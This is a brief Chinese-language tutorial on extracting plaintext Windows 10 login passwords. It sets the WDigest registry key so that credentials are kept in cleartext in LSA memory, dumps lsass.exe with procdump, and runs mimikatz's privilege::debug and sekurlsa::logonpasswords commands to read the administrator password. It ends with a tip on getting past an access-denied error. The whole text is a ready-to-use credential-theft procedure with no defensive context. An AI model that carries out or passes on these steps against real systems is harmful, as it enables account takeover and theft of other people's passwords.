優雅的獲取win10密碼

工具：
procdump & mimikatz

實驗環境：
實驗主機：win10
帳戶密碼：17位複雜密碼（大小寫+特殊字符+數字）
（雖然微軟很早就更新了補丁來防止獲取windows的明文密碼，可是能夠修改註冊表...
使 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald的鍵值爲1 即表明WDigest的密碼支持明文形式保存在LSA內存中）

步驟：

使用cmd運行procdump.exe
輸入：Procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用cmd運行mimikatz.exe

輸入：privilege::debug
sekurlsa::logonpasswords

在wdigest：下顯示的就是管理員的密碼

補充：

若是按照網上的教程在mimikatz輸入指令這裏100%報錯
（ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)）

privilege::debug（提權）
sekurlsa::logonpasswords（抓密碼）